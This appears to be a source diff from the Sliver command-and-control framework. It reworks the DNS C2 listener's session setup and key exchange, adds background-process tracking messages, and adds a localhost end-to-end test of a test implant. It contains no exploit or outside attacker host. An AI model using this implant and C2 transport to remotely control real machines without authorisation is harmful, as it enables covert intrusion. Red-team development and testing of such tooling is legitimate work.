// MsgExecuteChildrenReq - List tracked background execute child processes
|
||||
MsgExecuteChildrenReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgIfconfig
|
||||
case *ExecuteReq:
|
||||
return MsgExecuteReq
|
||||
case *ExecuteChildrenReq:
|
||||
return MsgExecuteChildrenReq
|
||||
case *TerminateReq:
|
||||
return MsgTerminateReq
|
||||
case *Terminate:
|
||||
|
||||
+1955
-1645
File diff suppressed because it is too large.
Load diff
@@ -517,6 +517,7 @@ message ExecuteReq {
|
||||
string Stderr = 5;
|
||||
bool EnvInheritance = 6;
|
||||
map<string, string> Env = 7;
|
||||
bool Background = 8;
|
||||
|
||||
uint32 PPid = 10;
|
||||
|
||||
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
|
||||
string Stderr = 5;
|
||||
bool UseToken = 6;
|
||||
bool HideWindow = 7;
|
||||
bool Background = 8;
|
||||
uint32 PPid = 10;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
@@ -545,6 +547,31 @@ message Execute {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ExecuteChildrenReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteChild {
|
||||
int32 Pid = 1;
|
||||
string Path = 2;
|
||||
repeated string Args = 3;
|
||||
|
||||
int64 StartTime = 4;
|
||||
bool Exited = 5;
|
||||
int32 ExitCode = 6;
|
||||
int64 ExitTime = 7;
|
||||
|
||||
string Stdout = 8;
|
||||
string Stderr = 11;
|
||||
string Error = 12;
|
||||
}
|
||||
|
||||
message ExecuteChildren {
|
||||
repeated ExecuteChild Children = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
|
||||
+185
-66
@@ -21,14 +21,12 @@ package c2
|
||||
|
||||
We've put a little effort to making the server at least not super easily fingerprintable,
|
||||
though I'm guessing it's also still not super hard to do. The server must receive a valid
|
||||
TOTP code before we start returning any non-error records. All requests must be formatted
|
||||
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
|
||||
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
|
||||
16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
|
||||
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
|
||||
DNS command and control outline:
|
||||
1. Implant sends TOTP encoded message to DNS server, server checks validity
|
||||
2. DNS server responds with the "DNS Session ID" which is just some random value
|
||||
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
|
||||
2. DNS server validates INIT and allocates session state
|
||||
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
|
||||
4. Implant establishes encrypted session
|
||||
|
||||
@@ -44,6 +42,7 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -66,6 +65,17 @@ const (
|
||||
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
|
||||
|
||||
defaultMaxTXTLength = 254
|
||||
|
||||
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
|
||||
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
|
||||
defaultMaxPendingDNSInits = 1024
|
||||
|
||||
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
|
||||
defaultPendingDNSInitTTL = 2 * time.Minute
|
||||
defaultPendingDNSInitGCInterval = 30 * time.Second
|
||||
|
||||
// INIT carries only key-exchange material and should remain small.
|
||||
defaultMaxDNSInitSize = 16 * 1024
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -78,7 +88,7 @@ var (
|
||||
)
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
|
||||
// StartPivotListener()
|
||||
server := &SliverDNSServer{
|
||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
messages: &sync.Map{}, // In progress message streams
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: enforceOTP,
|
||||
}
|
||||
server.startInitGC()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
started := time.Now()
|
||||
@@ -103,6 +113,9 @@ type DNSSession struct {
|
||||
ImplantConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
|
||||
Created time.Time
|
||||
lastSeen atomic.Int64 // unix nanos
|
||||
|
||||
dnsIdMsgIdMap map[uint32]uint32
|
||||
outgoingMsgIDs []uint32
|
||||
outgoingBuffers map[uint32][]byte
|
||||
@@ -113,6 +126,10 @@ type DNSSession struct {
|
||||
msgCount uint32
|
||||
}
|
||||
|
||||
func (s *DNSSession) touch(now time.Time) {
|
||||
s.lastSeen.Store(now.UnixNano())
|
||||
}
|
||||
|
||||
func (s *DNSSession) msgID(id uint32) uint32 {
|
||||
return uint32(id<<24) | uint32(s.ID)
|
||||
}
|
||||
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
|
||||
complete bool
|
||||
}
|
||||
|
||||
// pendingInit tracks the reassembly state for an INIT message (which may arrive
|
||||
// split across multiple DNS queries).
|
||||
type pendingInit struct {
|
||||
Created time.Time
|
||||
Envelope *PendingEnvelope
|
||||
}
|
||||
|
||||
// Reassemble - Reassemble a completed message
|
||||
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
||||
// There's some weird race here with a nil pointer
|
||||
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
|
||||
messages *sync.Map
|
||||
TTL uint32
|
||||
MaxTXTLength int
|
||||
EnforceOTP bool
|
||||
|
||||
pendingInits atomic.Int64
|
||||
gcStopOnce sync.Once
|
||||
gcStop chan struct{}
|
||||
gcDone chan struct{}
|
||||
}
|
||||
|
||||
// Shutdown - Shutdown the DNS server
|
||||
func (s *SliverDNSServer) Shutdown() error {
|
||||
s.gcStopOnce.Do(func() {
|
||||
if s.gcStop != nil {
|
||||
close(s.gcStop)
|
||||
if s.gcDone != nil {
|
||||
<-s.gcDone
|
||||
}
|
||||
}
|
||||
})
|
||||
return s.server.Shutdown()
|
||||
}
|
||||
|
||||
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
|
||||
return s.server.ListenAndServe()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) startInitGC() {
|
||||
// Tests construct SliverDNSServer directly; only start GC for real listeners.
|
||||
if s.gcStop != nil {
|
||||
return
|
||||
}
|
||||
s.gcStop = make(chan struct{})
|
||||
s.gcDone = make(chan struct{})
|
||||
go func() {
|
||||
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||
defer ticker.Stop()
|
||||
defer close(s.gcDone)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
s.gcPendingInits()
|
||||
case <-s.gcStop:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) gcPendingInits() {
|
||||
now := time.Now()
|
||||
var deleted int64
|
||||
s.messages.Range(func(key, value any) bool {
|
||||
p, ok := value.(*pendingInit)
|
||||
if !ok || p == nil {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
return true
|
||||
}
|
||||
created := p.Created
|
||||
if created.IsZero() {
|
||||
created = now
|
||||
}
|
||||
if now.Sub(created) > defaultPendingDNSInitTTL {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if deleted > 0 {
|
||||
s.pendingInits.Add(-deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Handler
|
||||
// ---------------------------
|
||||
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
|
||||
resp = s.handleCanary(req)
|
||||
}
|
||||
if resp != nil {
|
||||
// These responses often have near-max-length QNAMEs. Enable compression to
|
||||
// keep UDP responses under the minimum DNS message size limits.
|
||||
resp.Compress = true
|
||||
writer.WriteMsg(resp)
|
||||
} else {
|
||||
dnsLog.Infof("Invalid query, no DNS response")
|
||||
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
|
||||
// TOTP Handler can be called without dns session ID
|
||||
if msg.Type == dnspb.DNSMessageType_TOTP {
|
||||
return s.handleHello(domain, msg, req)
|
||||
// INIT can be called without an existing server-side session. The server only
|
||||
// stores session state after validating the key exchange.
|
||||
if msg.Type == dnspb.DNSMessageType_INIT {
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
}
|
||||
|
||||
// All other handlers require a valid dns session ID
|
||||
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
if !ok {
|
||||
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
|
||||
session.touch(time.Now())
|
||||
}
|
||||
|
||||
// Msg Type -> Handler
|
||||
switch msg.Type {
|
||||
case dnspb.DNSMessageType_NOP:
|
||||
return s.handleNOP(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_INIT:
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_POLL:
|
||||
return s.handlePoll(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
|
||||
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
|
||||
if msg.Size == 0 {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if msg.Size > defaultMaxDNSInitSize {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pendingValue, loaded := s.messages.Load(msg.ID)
|
||||
if !loaded {
|
||||
pendingValue = &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
|
||||
next := s.pendingInits.Add(1)
|
||||
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
|
||||
s.pendingInits.Add(-1)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
pendingValue = &pendingInit{
|
||||
Created: time.Now(),
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
}
|
||||
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
if loaded {
|
||||
// Another goroutine won the race. Roll back our pending counter.
|
||||
s.pendingInits.Add(-1)
|
||||
pendingValue = actual
|
||||
}
|
||||
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
pendingValue = actual
|
||||
}
|
||||
pending := pendingValue.(*PendingEnvelope)
|
||||
p, ok := pendingValue.(*pendingInit)
|
||||
if !ok || p == nil || p.Envelope == nil {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pending := p.Envelope
|
||||
if pending.Size != msg.Size && msg.Size != 0 {
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if !pending.Insert(msg) {
|
||||
return nil, false, nil
|
||||
}
|
||||
|
||||
if pending.received > pending.Size {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
data, err := pending.Reassemble()
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return data, true, nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Message Handlers
|
||||
// ---------------------------
|
||||
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[dns] totp request: %v", msg)
|
||||
|
||||
dnsSessionID := dnsSessionID()
|
||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
})
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
resp.Authoritative = true
|
||||
respBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
case dns.TypeA:
|
||||
a := &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
|
||||
A: respBuf,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a)
|
||||
}
|
||||
func (s *SliverDNSServer) deletePendingInit(id uint32) {
|
||||
if _, loaded := s.messages.LoadAndDelete(id); loaded {
|
||||
s.pendingInits.Add(-1)
|
||||
}
|
||||
return resp
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
sessionID := msg.ID & sessionIDBitMask
|
||||
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
|
||||
if sessionID == 0 {
|
||||
dnsLog.Warnf("[session init] invalid dns session id")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if msg.Size <= 32 {
|
||||
dnsLog.Warnf("[session init] invalid msg data length")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
if existing, ok := s.sessions.Load(sessionID); ok {
|
||||
// Defensive: INIT should only be called once per session ID.
|
||||
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
dnsLog.Warnf("[session init] session already exists")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
dnsSession := &DNSSession{
|
||||
ID: sessionID,
|
||||
Created: now,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
}
|
||||
dnsSession.touch(now)
|
||||
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
|
||||
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
|
||||
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
go func() {
|
||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||
for envelope := range dnsSession.ImplantConn.Send {
|
||||
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
}
|
||||
dnsLog.Debugf("[dns] closing implant conn send loop")
|
||||
}()
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
|
||||
respData, err := dnsSession.CipherCtx.Encrypt(buf)
|
||||
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
||||
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
||||
if err != nil {
|
||||
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
||||
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
|
||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||
complete := pending.Insert(msg)
|
||||
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
|
||||
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
|
||||
if err != nil {
|
||||
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
|
||||
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsSession.ClearOutgoingEnvelope(msg.ID)
|
||||
|
||||
respBuf := make([]byte, 4)
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const dnsE2EEchoMsgType = uint32(0x7fffffff)
|
||||
|
||||
func TestDNS_EndToEndPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
setupDNSKeyExImplantBuild(t)
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
dnsParent := "e2e.example.com."
|
||||
dnsPort := freeUDPPort(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
|
||||
Domains: []string{dnsParent},
|
||||
Canaries: false,
|
||||
Host: "127.0.0.1",
|
||||
Port: dnsPort,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("StartDNSListener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
|
||||
job.JobCtrl <- true
|
||||
}
|
||||
_ = db.DeleteListener(dnsListener.JobID)
|
||||
})
|
||||
|
||||
// Give the UDP listener a moment to bind before the implant starts sending queries.
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
pingReq := &sliverpb.Ping{
|
||||
Nonce: 31337,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||
if err != nil {
|
||||
t.Fatalf("Ping: %v", err)
|
||||
}
|
||||
if pingResp.Nonce != pingReq.Nonce {
|
||||
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
|
||||
}
|
||||
|
||||
// Extra validation: send a larger request/response directly via the session to
|
||||
// force message fragmentation and reassembly over the DNS C2 transport.
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session == nil {
|
||||
t.Fatalf("session not found: %s", sessionID)
|
||||
}
|
||||
large := make([]byte, 8192)
|
||||
if _, err := rand.Read(large); err != nil {
|
||||
t.Fatalf("rand.Read: %v", err)
|
||||
}
|
||||
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
|
||||
if err != nil {
|
||||
t.Fatalf("session.Request(echo): %v", err)
|
||||
}
|
||||
if !bytesEqual(resp, large) {
|
||||
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
|
||||
}
|
||||
}
|
||||
|
||||
func bytesEqual(a, b []byte) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func freeUDPPort(t *testing.T) uint32 {
|
||||
t.Helper()
|
||||
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen udp: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
|
||||
if err != nil {
|
||||
t.Fatalf("split udp addr: %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
t.Fatalf("parse udp port: %v", err)
|
||||
}
|
||||
if port <= 0 || 65535 < port {
|
||||
t.Fatalf("unexpected udp port: %d", port)
|
||||
}
|
||||
return uint32(port)
|
||||
}
|
||||
|
||||
func setupDNSKeyExImplantBuild(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
certs.SetupCAs()
|
||||
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
|
||||
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("random age key pair: %v", err)
|
||||
}
|
||||
|
||||
implantCrypto.SetSecrets(
|
||||
peerAgeKeyPair.Public,
|
||||
peerAgeKeyPair.Private,
|
||||
"",
|
||||
serverAgeKeyPair.Public,
|
||||
serverCrypto.MinisignServerPublicKey(),
|
||||
)
|
||||
|
||||
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
|
||||
publicKeyDigest := hex.EncodeToString(digest[:])
|
||||
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: "test-" + publicKeyDigest,
|
||||
PeerPublicKey: peerAgeKeyPair.Public,
|
||||
PeerPublicKeyDigest: publicKeyDigest,
|
||||
PeerPrivateKey: peerAgeKeyPair.Private,
|
||||
AgeServerPublicKey: serverAgeKeyPair.Public,
|
||||
}
|
||||
|
||||
if err := db.Session().Create(implantBuild).Error; err != nil {
|
||||
t.Fatalf("create implant build: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = db.Session().Delete(implantBuild).Error
|
||||
})
|
||||
}
|
||||
|
||||
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
|
||||
t.Helper()
|
||||
|
||||
opts := &dnsclient.DNSOptions{
|
||||
QueryTimeout: 250 * time.Millisecond,
|
||||
RetryWait: 50 * time.Millisecond,
|
||||
RetryCount: 10,
|
||||
MaxErrors: 10,
|
||||
WorkersPerResolver: 1,
|
||||
NoTXT: false,
|
||||
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
|
||||
}
|
||||
|
||||
// Starting the UDP listener is asynchronous relative to the gRPC call that
|
||||
// created it. Retry session init for a short time to avoid flakes.
|
||||
var (
|
||||
client *dnsclient.SliverDNSClient
|
||||
err error
|
||||
)
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
client, err = dnsclient.DNSStartSession(dnsParent, opts)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("DNSStartSession: %v", err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e-dns",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "dns://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(register)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal register: %v", err)
|
||||
}
|
||||
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send register: %v", err)
|
||||
}
|
||||
|
||||
handlers := implantHandlers.GetSystemHandlers()
|
||||
abort := make(chan struct{})
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
for {
|
||||
select {
|
||||
case <-abort:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
envelope, err := client.ReadEnvelope()
|
||||
switch err {
|
||||
case nil:
|
||||
if envelope == nil {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
case dnsclient.ErrTimeout:
|
||||
continue
|
||||
case dnsclient.ErrClosed:
|
||||
return
|
||||
default:
|
||||
// Treat transient resolver errors as retryable in this test loop.
|
||||
continue
|
||||
}
|
||||
|
||||
if envelope.ID == 0 {
|
||||
continue
|
||||
}
|
||||
if envelope.Type == dnsE2EEchoMsgType {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
|
||||
continue
|
||||
}
|
||||
|
||||
handler, ok := handlers[envelope.Type]
|
||||
if !ok {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||
continue
|
||||
